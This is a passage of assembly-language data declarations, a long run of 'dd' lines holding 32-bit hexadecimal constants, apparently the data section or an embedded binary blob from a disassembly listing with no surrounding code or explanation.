		dd 59000A2h, 440CCAE0h,	0A70063BCh, 6166A841h, 343AC7Bh
		dd 96F41255h, 81DC2D6Bh, 8CF59510h, 78653790h, 4BFA00BFh
		dd 7B5B4EDAh, 0D50C913Bh, 99F08DA8h, 771BEA14h,	0B3410051h
		dd 0F60F462Ch, 20C296E2h, 422799D9h, 0BEDC2640h, 317A04A1h
		dd 800ED378h, 0EE274930h, 0C05451D4h, 0BBFFC12h, 5E471C70h
		dd 0A2B9C321h, 75FB71B6h, 1F674AB0h, 72422C01h,	383E1290h
		dd 0D4216425h, 0FC1CC00h, 525005Fh, 9806966Bh, 16F238C2h
		dd 30A8393Fh, 3B132859h, 9FD403B0h, 0C72BFC80h,	48968012h
		dd 0A6D25C44h, 63888Ch,	150AE781h, 489CCADAh, 0CD308360h
		dd 0C3F5B2A6h, 615813E1h, 3F42413Bh, 804B3A55h,	7D94E564h
		dd 0A03DF74Dh, 15E9CD8Ch, 0B849B9BAh, 44A66A00h, 0E66891A4h
		dd 432A59E8h, 0F105F06Dh, 4267728Bh, 0AF49DC41h, 38845E32h
		dd 97D126E4h, 0C44C5E0h, 4B11D2ACh, 80AC8CA9h, 0BF0AE011h
		dd 96CDE6h, 0A7AF772Ch,	0A84C9A94h, 0D7F4B20Ch,	10C706Bh
		dd 0F653851Bh, 863CF87Fh, 897DFA89h, 0EF0E28E9h, 65E600FCh
		dd 0B638767Ch, 0DC02D0C1h, 3CB74448h, 3044BBh, 3ABA8913h
		dd 708B56BCh, 0DBC507EFh, 28BBD820h, 0DD7600B3h, 8F3D25FAh
		dd 1003D6C1h, 4BC264D5h, 1C91CC99h, 7042ACD9h, 0E4A4406Fh
		dd 0F05E49ABh, 8041C715h, 23B4D00h, 7AE52851h, 31087E18h
		dd 38574118h, 2F6D57Bh,	15746366h, 0E0815504h, 49F62CF4h
		dd 0F20420E4h, 0DA7C8B15h, 0F80B39B0h, 0D42976EAh, 1E16B475h
		dd 3BCD0040h, 0E15D6E3Ch, 0B3665834h, 0C028180Ch, 7100F01Ah
		dd 2B516DB4h, 0A426FDF1h, 0E8E23F5Ch, 22A46F06h, 0E418409Ch
		dd 0F2E12F75h, 26D62414h, 4F2ABCACh, 20C448CCh,	24D9E050h
		dd 0A0A4887Dh, 86BD00E4h, 87B89C72h, 52639B48h,	0BCC24990h
		dd 0EC963C91h, 672D9880h, 1D8A31A6h, 625140D9h,	0C9F879B0h
		dd 0BCA46C37h, 0C7109554h, 9F9C9654h, 18D0DCF5h, 0D8F2DD00h
		dd 0AF808F1Ah, 986DE28Dh, 27A5133Eh, 0C9E846BFh, 1890F904h
		dd 13ECF554h, 8C6CA0A2h, 3D45CE00h, 290566F4h, 0EB510E59h
		dd 0D2E7E93h, 84384FB3h, 0B1F4C958h, 0C72C2A50h, 2E0C08F1h
		dd 6664BEh, 0D0A0DFB5h,	0C0981C1Bh, 748D7480h, 22015CB2h
		dd 68FF4E1Dh, 1EDCD28Fh, 4BC7283Dh, 80FC91A0h, 9532DDC5h
		dd 9D5F9C64h, 1B003FECh
		dd 1D243AEAh, 92FC1002h, 0D71298A6h, 0CC49F4C0h, 8B102F0Bh
		dd 0F6C16CAh, 73786534h, 6000B29h, 0A1D8D639h, 52CDEF1Ah
		dd 5358B340h, 0B00B858h, 0E7E020BDh, 0B10224EAh, 781182A7h
		dd 4E286850h, 0ACB60ABEh, 828025A1h, 0D574EF7Ah, 77042464h
		dd 333740B0h, 0E850F500h, 87249F5Dh, 1CA978E9h,	0A7363B81h
		dd 0CD038599h, 5F84C8B0h, 574384Dh, 0AD3D242h, 0A9817493h
		dd 69C03ACAh, 68564CBDh, 0F775F200h, 96DEF8B6h,	4C32AE15h
		dd 0E1C330B4h, 36D6EB1h, 0F89CFD1Ah, 1815BF8Dh,	3F42DC7h
		dd 0E1C8064Bh, 6AD297DCh, 8EC3FD8Fh, 72438001h,	7F375CF4h
		dd 23136C22h, 11A0402Fh, 467467A1h, 3414CA07h, 96A06FFCh
		dd 0B421630h, 0CF22389h, 79A2D882h, 0EE1C8309h,	694DB0FBh
		dd 3667057Fh, 52EB26F7h, 751400B0h, 0A3B487BDh,	20D97B04h
		dd 0C42FC1h, 0A0242C88h, 0E97940h, 0C3E201DAh, 9765D3F6h
		dd 5801E670h, 6CECFE63h, 0C0206988h, 4C1909E4h,	0F0202B0Ah
		dd 0AFBAD70Dh, 0B8D19100h, 5ED51F30h, 10387161h, 505FF48Bh
		dd 8891CE14h, 3192B690h, 8048C774h, 0FA5C3B21h,	4C1C909Fh
		dd 998E3CDCh, 8C325720h, 54135B92h, 981DECB0h, 7A394258h
		dd 334C0CB6h, 23E83034h, 8060AD30h, 0E43FCD58h,	802900BEh
		dd 0A96272DBh, 0AE0D427Fh, 0A8B49D19h, 0E48E4044h, 0CA13007Ch
		dd 3E5DDA76h, 1547F4Fh,	0AC9B06E4h, 0BC6EB598h,	1DEE79CAh
		dd 4074CD6Eh, 28EA2A1Dh, 34900FA1h, 3D16AE73h, 281473DEh
		dd 92C784FCh, 85F63490h, 0EFEE05D7h, 0C930374Ah, 9101CFB0h
		dd 2C1765FBh, 0A4608ACBh, 62FA00C2h, 0A61F4006h, 0ACA8495Fh
		dd 9E4CC0D9h, 0ECAF8648h, 0CA10C461h, 85AC9032h, 6604B461h
		dd 0CE9F47Bh, 0EBDFE402h, 99404C08h, 812E36Fh, 2B467DB7h
		dd 0A21A6603h, 0CC1EF07Ch, 71976A56h, 6F920F2Ah, 58A1C489h
		dd 24067049h, 2162E4C0h, 68BAF3D9h, 8CF5CA24h, 2CE0C718h
		dd 0C41110h, 52A61643h,	0D0D7213Bh, 0A516CD7Bh,	0C04471E5h
		dd 4224F3Ch, 0A7476920h, 0B3983A05h, 3EAD0B82h,	1088CC60h
		dd 0ECE01CF8h, 4444C964h, 0F51DE200h, 0E14972FAh, 29836041h
		dd 0CEDC66C6h, 744BE200h, 0EDE43ED3h, 39D66046h, 72943DB4h
		dd 0B653E303h, 16D754A6h, 115A9AD9h, 272A9C1Ch,	0EFFA05ECh
		dd 0D314EAh, 2968314Ch,	4B0B1044h, 226B3266h, 48342394h
		dd 0D6A8D8h, 62D9757h, 0AF016AF1h, 8F057A09h, 0CAA812F5h
		dd 0C49086A4h, 8BD92C81h, 6DA05370h, 15724491h,	9C5C750Bh
		dd 0ECD01074h, 0F6D8A405h, 0F26B40D4h, 1E3A0094h, 534284BEh
		dd 0A09E097Dh, 41709BFCh, 0ADD20995h, 8110A4Bh,	33F7F8C6h
		dd 9680F264h, 0D00C8h, 8355794Bh, 66FCFE2Bh, 0B7EA670Ch
		dd 2AE4E85Bh, 12EC26A7h, 91CF2749h, 7F2ED4h, 72EC55DBh
		dd 8FFE00B3h, 0BDF43FD1h, 800A6E0h, 0E1708013h,	94516F83h
		dd 44882020h, 564A62F5h, 0C0220447h, 80D1DD12h,	36C2A3DCh
		dd 5CF30363h, 1D0BA14Fh, 0C0CCACABh, 2871D928h,	52F481C2h
		dd 1F2C5BF6h, 0C0682662h, 0CD75264h, 40A11634h,	1B4C8Ch
		dd 41F1FA1Fh, 0B5655515h, 3C03DD0Fh, 0DBF173B2h, 8842F805h
		dd 0A0105A49h, 0D962959Ch, 7A61C017h, 7388DD91h, 0F5BC3724h
		dd 98386509h, 947ED950h, 0C1669220h, 0D2D50BD8h, 1080288Bh
		dd 283CD613h, 0AE26B8A4h, 0E4896CFCh, 4C8C1342h, 0B30E6830h
		dd 0F222907Eh, 0A04AB4E3h, 0A7F43021h, 7430A634h, 0AF4B54C0h
		dd 8B900C4h, 14469AD6h,	0E201D1C2h, 70B171CDh, 418A2467h
		dd 1670152Ch, 0AFF42068h, 773B375Ah, 0D58D92F1h, 574E0840h
		dd 0BAE2B4h, 0C51B58ABh, 2EBF0FCBh, 385AFB2Eh, 95C6A240h
		dd 0B16090B4h, 1D4C2680h, 7135226Bh, 9CC06997h,	1AD7B6CDh
		dd 0E1F5B715h, 4CF4F80Fh, 0D723B90Fh, 0AF25F142h, 0D0967469h
		dd 7D053BBAh, 6D55C649h, 443A681Dh, 0FBAE0BEFh,	6494D987h
		dd 0DA5D3A02h, 907E6D9Bh, 0B8ED090Ch, 0D06329EDh, 4AF4A8D8h
		dd 96C022BAh, 6453F490h, 0AF444602h, 642C5D26h,	4ACA3008h
		dd 0CCC9A689h, 2C35A448h, 7C001AB0h, 0F9B90B6Dh, 80C1548Dh
		dd 549C41h, 0D68BCEF3h,	4B850BFh, 9237E909h, 4124C828h
		dd 9829C05Dh, 75F89DEEh, 4F566600h, 0CEE3ED61h,	343F43Bh
		dd 248B0160h, 0C680A88Dh, 39C033DCh, 1508FDF2h,	8818B194h
		dd 961278F8h, 9BC0D427h, 7B29499h, 1419E8EDh, 5B7BA102h
		dd 3C3AE401h, 0B49DC729h, 3B00FF39h, 719A57FBh,	9C791E5Ch
		dd 2054AEFCh, 923C9BE8h, 0E49CC8BAh, 10982324h,	0C71059BEh
		dd 0F5B09308h, 0A126FDAFh, 9C510B10h, 0E225DCh,	6BAFE2B9h
		dd 9231440Eh, 9FE507A0h, 20AB7F11h, 2906C4CCh, 0A84C85Eh
		dd 0C26FACh, 3494C798h,	24250B82h, 9048A611h, 0DBE3881h
		dd 0AA162900h, 63FD31D3h, 0CF60C8D0h, 4C59BA75h, 125CB120h
		dd 3CC0C14Ah, 2E4DEC48h, 0C2BDE109h, 75ECC85Ch,	41ACB149h
		dd 70ACA3C1h, 5426FE41h, 3F16476Ah, 67CAAC90h, 0FB4138B2h
		dd 3EE9D607h, 20B503ADh, 7DD9BDB0h, 0C0244C99h,	3F005A11h
		dd 5C044BFFh, 20E5221Fh, 55C9D00h, 4BB218h, 0D25438FAh
		dd 42B45C03h, 18B02A97h, 111C6F08h, 0EF002BC7h,	0CE85D90Bh
		dd 75E83A69h, 1959002Eh, 3D6EF203h, 3C1D2A98h, 5700959Ch
		dd 50BB4971h, 91B300DDh, 4A9754ADh, 0D800F7F0h,	0DC5C06E9h
		dd 5061D728h, 302938B3h, 57487562h, 0FF0FFCF4h,	0B25B7Eh
		dd 1C6D8FBEh, 0F7540E68h, 9A2E2B78h, 0A7500B00h, 633767C5h
		dd 0C0F0216Bh, 303B358h, 94E13A22h, 38008E4Ah, 0C387F564h
		dd 83B8F0h, 0CCBC44Eh, 16ACD0DBh, 1BBE88C3h, 885040C7h
		dd 8B146D3h, 33A6029h, 1B946357h, 0DCFE7000h, 3096BC59h
		dd 346E0947h, 897F9A87h, 17868712h, 0A8482EE5h,	0A59180BEh
		dd 9E0A5A08h, 0CD8F4100h, 0D01DA1C1h, 0E1F4589Ah, 0CB578061h
		dd 9BF70053h, 701A6F47h, 1FA0F11Dh, 0B9944049h,	156FB1DBh
		dd 480CA0C0h, 10D46608h, 0CBAA4EDh, 0B9FE5713h,	0D9D71EF7h
		dd 2C734036h, 0BBCDF23Dh, 3A618376h, 0D7EAFD60h, 2E32698Ch
		dd 6F183F50h, 20799A93h, 208D60DEh, 68DF9675h, 237AFC0Ah
		dd 0D2858821h, 9C62ABA9h, 0CCC0A032h, 0AEC8C5Ch, 0E6E5034Ch
		dd 506420CCh, 2ABEFC50h, 15C0E7B9h, 80C7A1F7h, 39757A00h
		dd 3F07D9CFh, 0ED9AB62h, 201C4446h, 1F3095C1h, 2FFD08A1h
		dd 2048D88Eh, 9865039Bh, 0A4233919h, 2080180Eh,	3C4E11CCh
		dd 18A99900h, 486681C8h, 0ACF001D5h, 17D264ABh,	8D5530E3h
		dd 31FEB4A8h, 48A2E24h,	81C07347h, 9861DF19h, 5E2800F9h
		dd 7F4C90D9h, 0E401CA23h, 0F6D834FEh, 7C24EF49h, 0B9A8603Ch
		dd 0DC255A8Eh, 2900B9EAh, 0B16D7291h, 1101893h,	895F3D37h
		dd 22C963A6h, 0F9850150h, 0CB6CC2F0h, 0F4D3BC53h, 33211854h
		dd 0AF39AA02h, 7C944992h, 4C884813h, 30023ED3h,	0BF3F0E4Fh
		dd 3DD44488h, 0EF37D487h, 9BFF8050h, 5C1BAEA8h,	0E081FC9Ch
		dd 293DA104h, 87E48528h, 4A2932FDh, 0CC6094BCh,	4F98CC8Ch
		dd 0BC4252h, 513C44F7h,	0D4CB78C0h, 0CC55469h, 0ACF8025h
		dd 5900A8ADh, 11F65E4Dh, 903BD88Bh, 50FE074Ch, 0A6BC20F0h
		dd 6D0C41D4h, 0A1C60FB2h, 9C4000B3h, 7F9A9B96h,	1B1BCBF4h
		dd 0BBC0A65Fh, 3088E4D5h, 6F410909h, 7827B1F9h,	28A876A7h
		dd 17BB24A1h, 0B34439C7h, 40C4630Ah, 0A961A1E9h, 38EDCC06h
		dd 20A492h, 51CDD7B2h
		dd 0E1668E5h, 1D446100h, 0F3C2436Ah, 54242437h,	20FD051Ch
		dd 94985548h, 0DCD95478h, 4C020743h, 0E5BDD59Ah, 0B980004Fh
		dd 30035CD1h, 0F4F041F3h, 3800F7ABh, 0B9A9D997h, 9BAE914h
		dd 691EFCC7h, 21C86CAAh, 73F7C0C8h, 58950B22h, 172B03F8h
		dd 9AE171A9h, 0D0C170D1h, 0CF00978Ah, 7548BE64h, 0C6281Dh
		dd 117440EEh, 9BFC7F17h, 0AD007977h, 5BAB5C82h,	339A109Ch
		dd 0AE4072DDh, 26F7087h, 2B2ED6CDh, 0EE1988C8h,	65F5C968h
		dd 318029BDh, 15A778CCh, 1100B61Dh, 0EB2D645Ch,	20D1C39Dh
		dd 5B0D8DBBh, 409240B0h, 15874CE0h, 5C0F16FCh, 65521E80h
		dd 3501A429h, 67C92528h, 23CC5A96h, 0F38F01B6h,	43BB7038h
		dd 96D71080h, 0D6C200B4h, 8A2DC540h, 286F4773h,	286D8C51h
		dd 16778DAh, 54CD293Ah,	809456B0h, 4173BB18h, 3C4A3B1Fh
		dd 0FA1DC69Ah, 71007EC0h, 75DF0B6Dh, 0AA01E2EAh, 325EF3C3h
		dd 0D89FA45Dh, 0CA9A86F9h, 840449B9h, 652C4245h, 0ED5AC0FFh
		dd 0B318EC4Fh, 0D158FC05h, 0A874A80Ch, 30B400E3h, 0BA93A9A2h
		dd 7C01C371h, 54E263BDh, 50478488h, 1A20B690h, 0A6AD0662h
		dd 80E1A83Fh, 2028FA30h, 0CC7B371h, 0AC6A03B5h,	0E96B18h
		dd 3167D6h, 117A3269h, 2ADBD399h, 0DCFAD100h, 92F78119h
		dd 0B1F60AEAh, 0E833ABh, 0EFAA733Ah, 0DCA35A40h, 58BC39C1h
		dd 5B5C0338h, 0D2F11841h, 207A72D8h, 6EFA6D87h,	0B7A04107h
		dd 22096AE9h, 82A2AF1Ch, 60BE1FF4h, 0CA7DC76Ah,	0F1C7F18h
		dd 64E01834h, 0ADB5F62Bh, 338D470Ah, 0A5198D08h, 61802680h
		dd 7CC263B0h, 7121022h,	4207FAFh, 0B1CC40h, 0E7ACFFD6h
		dd 0C81990B6h, 0CA207261h, 0C080B356h, 0BE2F3CF6h, 0A4709B78h
		dd 8E23B801h, 93067029h, 34C1E080h, 6D625F6Fh, 67D81E1Dh
		dd 0E5D722C2h, 0D658402Bh, 0ACBB0D7Ch, 0A00B40h, 0D830294h
		dd 12006891h, 6B1E180Ah, 26EA2A3Fh, 5C29039Ch, 3B602530h
		dd 0ACAEC9FAh, 98C14040h, 407663Ah, 0FA6BACC8h,	20B96DF6h
		dd 0B300B26Eh, 7A215A1Ah, 1E739829h, 25F41767h,	3F018ED4h
		dd 0BB8FCC4Bh, 4CD68180h, 741D233Dh, 2025ABA1h,	480F46FAh
		dd 0F2AEFBEFh, 0AC8AE041h, 0A3303B3Eh, 829D1C4Eh, 0E6003CC5h
		dd 2918C062h, 0F5411EDh, 0D53101E4h, 8ABB3890h,	9199C848h
		dd 3CEE80ECh, 8CC9F997h, 8FFB30C4h, 0DD428D48h,	5E7F225Ch
		dd 39D08848h, 45722400h, 5991FABFh, 0C3FE00CCh,	0FFCBC62h
		dd 98AB80C1h, 7BC7856h,	546D4983h, 5F575BF0h, 0EDFE0250h
		dd 0AB257A8Fh, 0EF407200h, 0D20D286Ch, 80B75044h, 32D8A8F3h
		dd 0B44114C9h, 586CAD1Eh, 680EE21h, 5EF4A85Fh, 98501FFh
		dd 0D9CD0D54h, 1FC5F8BDh, 0FE61C00Fh, 0FEF8045h, 0F8E5E96h
		dd 331AC486h, 50A5805Dh, 0A148220Dh, 0B5EADF00h, 7F2F87D1h
		dd 0B22400C0h, 9C981509h, 10008D22h, 1450A4C3h,	76F278Eh
		dd 8FDF8BD7h, 0A05D175Ah, 9EA6A5C0h, 71581E60h,	0E2993ADBh
		dd 423B00BBh, 0C169873Ch, 0D10043CAh, 0E89A79E4h, 4403C91Dh
		dd 2707DDE1h, 43ABF3FBh, 5F353E50h, 0AFEB0098h,	0DE37605h
		dd 553C2523h, 0F91B79ACh, 0C938BD6Dh, 98806E0Eh, 3119765Eh
		dd 3F00C294h, 0AB828505h, 64CCA480h, 439A5015h,	47D88Eh
		dd 0A6C40D41h, 0FE15E6A1h, 0FB04A700h, 371D2FC0h, 0AE8E0301h
		dd 0B65E9A3h, 2074A801h, 28E70AC7h, 841FB980h, 0C36FE6CCh
		dd 77D8890Ah, 8F06B8B5h, 0C9854F0h, 0D2F913A5h,	0EB305531h
		dd 0DD671851h, 5C17079Bh, 9036CC05h, 0F0BAEE42h, 0D906F918h
		dd 0A8A355D9h, 74BFBCh,	25793DB1h, 87100F7Eh, 0C9461230h
		dd 3DC7D8Eh, 89FAE31h, 39383AE7h, 5E0F7754h, 0C07274F7h
		dd 297C95F6h, 0E37300C2h, 0BFF1E5F8h, 6C00AE6Bh, 0BC1CA3D7h
		dd 0F420C326h, 0D260A16Eh, 0F8F27843h, 99EDDCh,	5F7B8F6Ah
		dd 0FCFE176Dh, 0B8876C02h, 0C3F593AEh, 0AD480E1Fh, 7460840Eh
		dd 0B78E08ABh, 773048h,	1859D85Bh, 786368h, 0E07E8B1Bh
		dd 0EA28C393h, 4806D20Fh, 10241CA2h, 44117493h,	0C80B1F9Ch
		dd 6CF3FA80h, 4C8A499Bh, 60037D16h, 0BE22AD6Bh,	5512A800h
		dd 97EFCD66h, 1D2105C2h, 5646E25h, 413281E4h, 999B44E8h
		dd 6A0FCCFEh, 8CC5E624h, 3DE01494h, 1BD8C0ECh, 8009CB1Dh
		dd 0A0E889E1h, 29448C19h, 98725455h, 54BA00C5h,	25653316h
		dd 0FD001210h, 2DD2137h, 0DA447h, 0AF57D368h, 3A7142E5h
		dd 7F449A0Fh, 807D09D9h, 6650A90Dh, 0DC7281h, 713A936Dh
		dd 0B851B001h, 921B8300h, 0DC68C944h, 579C0054h, 8670207Ah
		dd 80280C99h, 0E8001094h, 0F7F4497Ch, 0EEAAEE8Ch, 63010346h
		dd 0EF594281h, 88C070E3h, 4D10DF5Ch, 5D00440Ch,	47CE36A3h
		dd 91004A02h, 0B1E26C88h, 0E04645AEh, 508A30A5h, 6E3D9490h
		dd 7B0EAF7Ch, 6106C4BDh, 9CE3B816h, 1CBEC0E7h, 0C97C0C2Bh
		dd 46288418h, 0B58A2100h, 0D83D0E57h, 27300A1h,	7493DCBAh
		dd 0AF0C4484h, 6041FB90h, 0F8E29Ch, 10DCEF4Fh, 848A9E3Bh
		dd 487B7F30h, 0E88C008h, 6B909239h, 7660B00Ch, 0F6951300h
		dd 77D18298h, 8DCF0037h, 0D60D8FE2h, 0C820CC43h, 709B3089h
		dd 3CA2B0F0h, 0A0183577h, 5DA96C18h, 199D070Eh,	9E9B7456h
		dd 0CD4B5EA1h, 0ECDBC0BEh, 8C9E6E15h, 52772684h, 8642C600h
		dd 5C5A979Fh, 0AE006C7Bh, 0B85B0E27h, 0AF0133B7h, 19C991B1h
		dd 8850837Ah, 0D9DF058Dh, 80D59070h, 7FE743F9h,	86B5FAh
		dd 9F9023FBh, 556E6CD1h, 0C8795A00h, 223971A6h,	20E12428h
		dd 80091D04h, 0F183B91Eh, 69CD4380h, 688E507Bh,	22F17F2Ch
		dd 626B00DDh, 9117E271h, 60AA86Ah, 0D4C895F1h, 848C0883h
		dd 4496B8A5h, 9CA1004Bh, 0ED75D043h, 0B092991h,	10818E32h
		dd 0E91E501Ch, 662E4E0h, 253D47A3h, 0D500E95Bh,	0CC824DBFh
		dd 0FF33B020h, 368BFF00h, 4BF1D900h, 0C8423EE5h, 454306C4h
		dd 0B0101E62h, 2001C17Ah, 0ECDF808Ah, 0A1E2C9ADh, 58EE1994h
		dd 0D2A6619Ch, 431C3091h, 0BD073C24h, 0F04F1265h, 7AB1F07h
		dd 6016C4F5h, 2F240081h, 842C1BFAh, 0AB000C36h,	0A7690E66h
		dd 1C9FAAh, 5AF79AB8h, 2DD58B9Bh, 3A480C38h, 40BD3094h
		dd 599E364h, 788CF918h,	19B04236h, 450061FFh, 3490FDEh
		dd 0FDAFB48Bh, 18094803h, 20B28006h, 4370AA8h, 63C97E41h
		dd 5A949931h, 0F2CBD900h, 4E0BD353h, 18C173ABh,	0E9E8B3D0h
		dd 9D09F769h, 1CD1336h,	0DBC8838Dh, 4A6C840h, 9743026Dh
		dd 999CE5BFh, 846E6141h, 5DDC0661h, 0F6DA4602h,	0D648E0A0h
		dd 0BA00D7E8h, 0FDA4DF8Eh, 2BEF86h, 8DDE9378h, 0A4F369Ah
		dd 97473B06h, 3CC1B003h, 0D080C3C5h, 81B8E5C9h,	560C02D4h
		dd 0A9F9326Dh, 461716B2h, 2677000Bh, 0D220EBCEh, 6C9A9513h
		dd 8F502C27h, 0F444Eh, 0F0E22603h, 5D138A43h, 0DC773328h
		dd 0AC7BAA29h, 34692980h, 35AAF8Fh, 9B4B4202h, 88A281E2h
		dd 0B84EC4A0h, 0B348C5C7h, 8C998038h, 7B53F6E8h, 9C623B39h
		dd 30DCF8D0h, 47D107F7h, 0DD48936Bh, 0F1801EA0h, 0D042AC12h
		dd 60E283B0h, 95704AAh,	8D2614C9h, 2D6D6C90h, 17C59900h
		dd 6EB43CEBh, 6C8F0A20h, 11F8DE8Ah, 492101B3h, 10E93A19h
		dd 0EE36BC50h, 8DE5009Bh, 0BDDFDA5h, 3C2452B8h,	0E90C3C70h
		dd 37297Bh, 0CEB56664h,	0AFA4FE5Eh, 0BCF8DC00h,	0A63919A5h
		dd 245D06AAh, 0F132B3C8h, 0E62FCD00h, 2926EC4Fh, 8372A9h
		dd 0DF35A49Dh, 535C2E0Fh
		dd 7F102000h, 7914526Fh, 0A824EB2Ah, 0C0B60004h, 9B88E6F0h
		dd 221472D8h, 70640BF2h, 0B5137D00h, 0A949F441h, 736B00A2h
		dd 0E10A6209h, 5EACA7Ah, 90A70E2Ah, 424840F6h, 120C2238h
		dd 0E019B7FFh, 901D443h, 789DAD30h, 51D052CFh, 0A1DA17A6h
		dd 0D01206D9h, 0BB07496Eh, 41B7D807h, 52A732B0h, 0E8BFEE40h
		dd 0F70D004Fh, 0B8D80CD0h, 0A4A02839h, 0AF805B65h, 7489143h
		dd 0D9121B64h, 0A9FF9490h, 0F1AEB222h, 0A4A83308h, 5301FC81h
		dd 115A3E18h, 48D8F12Eh, 6BE41365h, 9E9840E2h, 0D20877E6h
		dd 1A6FB002h, 0C09DF2BBh, 7A2CC3E4h, 0FDA0C1E9h, 309943D9h
		dd 61BE4A8h, 81D9F90Eh,	34247E91h, 2C24ED94h, 7FD5262Dh
		dd 0E3720010h, 1B3E3A10h, 8396FC00h, 0C291DA75h, 0DEFA1853h
		dd 281189C8h, 0E094E700h, 24865070h, 7DEB0B83h,	140232CAh
		dd 6E502838h, 0C7A13078h, 7D388BC9h, 0AF2306B2h, 6DBD4C11h
		dd 21A71600h, 0F08D78D7h, 0F2098801h, 6DC7D1FBh, 442C6064h
		dd 0B10350B2h, 9CB44B73h, 0A0EB8A81h, 0C93DABA4h, 93F71809h
		dd 1C6FD949h, 6944290Eh, 0BBACDFAEh, 8096FD0Ah,	0E9416444h
		dd 0D43D93D9h, 25303CF7h, 0EEA41965h, 3EC43AC5h, 0F5B1ED06h
		dd 381CE47Bh, 1466C30Bh, 5231B761h, 30101CF0h, 0BC198626h
		dd 9261FFEh, 0A00CB4Fh,	8497C78Bh, 33863DF8h, 3AC4318Eh
		dd 0A2AF94A2h, 23009C64h, 0BCD595F2h, 33D4B43h,	0AE382D9Eh
		dd 9900D87Ah, 0DA864AA6h, 0B366D73h, 8C6CC868h,	0E5B038A0h
		dd 0A507474Eh, 2DD05129h, 6D247710h, 1FE9F01Ah,	54F1C5Ah
		dd 707919h, 6D98760h, 0C44D862Bh, 1F411C20h, 1415C9h, 9236EC78h
		dd 62492843h, 449B1374h, 4884204Ch, 0EA0051CBh,	0B32B1E08h
		dd 52E8CCh, 2F5366Fh, 0E939543Fh, 0FB4A4507h, 0D2C06B71h
		dd 0EAB30A9Ch, 280C9869h, 247079B1h, 80E0264Ch,	2C1554CAh
		dd 8D76FAD2h, 53122000h, 0ED639BA4h, 0D7C01C47h, 0B8B04B43h
		dd 0BB0094AEh, 2A5BD6BCh, 0E82EF400h, 0D1AD99ABh, 0F0793932h
		dd 8121C189h, 8F20F816h, 210C0A3Bh, 83C81EB1h, 7F3CC23Ah
		dd 7083FE88h, 826CA7Dh,	0FA06F0C0h, 2904B7h, 0D036274h
		dd 0B9E67F3Dh, 1C92D112h, 7621D418h, 0FF1B0063h, 0B05A06Ah
		dd 5B26AB62h, 0B38C10ECh, 0F62906h, 8BF55AA4h, 23A62B26h
		dd 67FB7B01h, 83DA908Ah, 940177DDh, 87E05385h, 0B1185AF0h
		dd 0CE5C9901h, 0B60669ADh, 0C08660h, 303A39BEh,	88946EDBh
		dd 0B477D22Ah, 8E733201h, 193C0A57h, 4A8844EEh,	50E4208Dh
		dd 280A269Ah, 0D08CB9AEh, 0FC431465h, 0E9BE623Ch, 4080E627h
		dd 122EBD1Bh, 9C0052EDh, 72B13FB9h, 4A9B0D59h, 681C207Dh
		dd 0B028FBBDh, 0BB0BC9C1h, 18E2B227h, 8345B748h, 0E0802EEBh
		dd 0D6007519h, 0F49949CDh, 59B2A2Bh, 0B81E5B42h, 0EBA00FCh
		dd 5086DB1h, 491170B9h,	0C0A9EE1Dh, 2ACDF4D9h, 0D52C9D3Fh
		dd 7C0B8B0h, 9EB8F1h, 0FFA1E026h, 67DDC94h, 4B00DBF0h
		dd 0D3CB5D22h, 6FCE9Fh,	20239B14h, 6C1E2B01h, 6BE50507h
		dd 43DED3CCh, 80FE1F4Fh, 9A8FE4h, 58A68044h, 9C0D6337h
		dd 65543Eh, 76E6A9CEh, 70E4DA1Eh, 799E01A5h, 0E9A4F425h
		dd 33A0FB99h, 0EE3A9FEDh, 0B23E04C8h, 0E6C10D3Ah, 1880D298h
		dd 31A97594h, 9E0F51F1h, 20FE0912h, 0E1263FBFh,	4A740C91h
		dd 0EFB95E50h, 0A91CAE00h, 9602CDEEh, 86B0CF81h, 0F30A560h
		dd 440F8FB6h, 0C992E5A9h, 0F57100A8h, 0C02C064Bh, 0AA90F471h
		dd 5D0370E7h, 53CC866Dh, 0CA36E0A0h, 0E680A8C8h, 0EACB30C0h
		dd 0F60C6D30h, 782835F8h, 0A41010B1h, 1580ED36h, 6BF773Fh
		dd 862DCF1Eh, 359F9971h, 7D7900E3h, 8DCA6801h, 9B006B73h
		dd 56B403CDh, 60715C85h, 3B7A3115h, 0E900AA6Ch,	70554A86h
		dd 0F4E11739h, 3671CB2Dh, 1F44FA08h, 5540BAEBh,	821FED1Fh
		dd 6BE3F200h, 0A09A4FB7h, 934E94h, 8496A77Eh, 0FC56C555h
		dd 265E7200h, 3039DF0Dh, 0ACFB0F6Eh, 9A3A888h, 36F09C16h
		dd 40C0BAECh, 0F19437D3h, 80913002h, 0EFFEB578h, 7F8C13Dh
		dd 2F7B727Ch, 6E9B7380h, 0D1DD00E3h, 0D8FDB655h, 0B33565BDh
		dd 0AE80B1BEh, 7F2D087Fh, 71560C72h, 0CDC0E527h, 0AC53C500h
		dd 76B7589Dh, 0F78700E9h, 0D316204h, 0E667D5C4h, 40803A28h
		dd 63B32A7h, 9D9349F5h,	0D302E905h, 7C336EA1h, 64C487F1h
		dd 1394016h, 0A5D29CD9h, 0FCF8BFBAh, 96011380h,	2710D725h
		dd 0B84043FEh, 787498ADh, 0CDAA02ECh, 9CB96373h, 86CEBC87h
		dd 1698697Eh, 0A950600h, 6DC11EC6h, 50B0E48h, 282003A2h
		dd 3CF34B0Dh, 0FAFD1A0Fh, 0F1183353h, 3B2C9FA0h, 15075CC4h
		dd 0D08EEE6Dh, 2DE95BFDh, 1F9DE001h, 65A42862h,	0A0907088h
		dd 4907F93Eh, 0A1F1A80Fh, 1363D4D9h, 72870443h,	8C848CE4h
		dd 2C5B7600h, 73D87D01h, 74160010h, 45F3A618h, 48496440h
		dd 0C3630034h, 0B5876813h, 0EFED00C6h, 0F6495436h, 107A0BBh
		dd 0DA73B9A4h, 0EE82D05Ah, 0C038B56Bh, 49640CABh, 0F62C8095h
		dd 0C08E1585h, 544CD050h, 5B946Ch, 8DECCED1h, 0AFDE971h
		dd 9FA9C460h, 3F83C48h,	0A2E1CFB4h, 1DA8124Ah, 0C800C24Bh
		dd 74CE9A62h, 500E2F63h, 405AA028h, 0C0000CCBh,	7E291D72h
		dd 0FDBA44Bh, 8932DD06h, 0E987C680h, 0C1D735Ch,	3B47CDC3h
		dd 51E311Dh, 4C03B540h,	0B965B6h, 1860C989h, 73278503h
		dd 0F6FF8607h, 0A64026CFh, 0E6A14653h, 9C36092Bh, 8010549Dh
		dd 0CF556EE6h, 57E5F98Ch, 0CB4AC0D4h, 0FE07636Fh, 9B839099h
		dd 1A8F8881h, 3E0F0DCh,	0F435A59Eh, 8124A3AAh, 62008AEEh
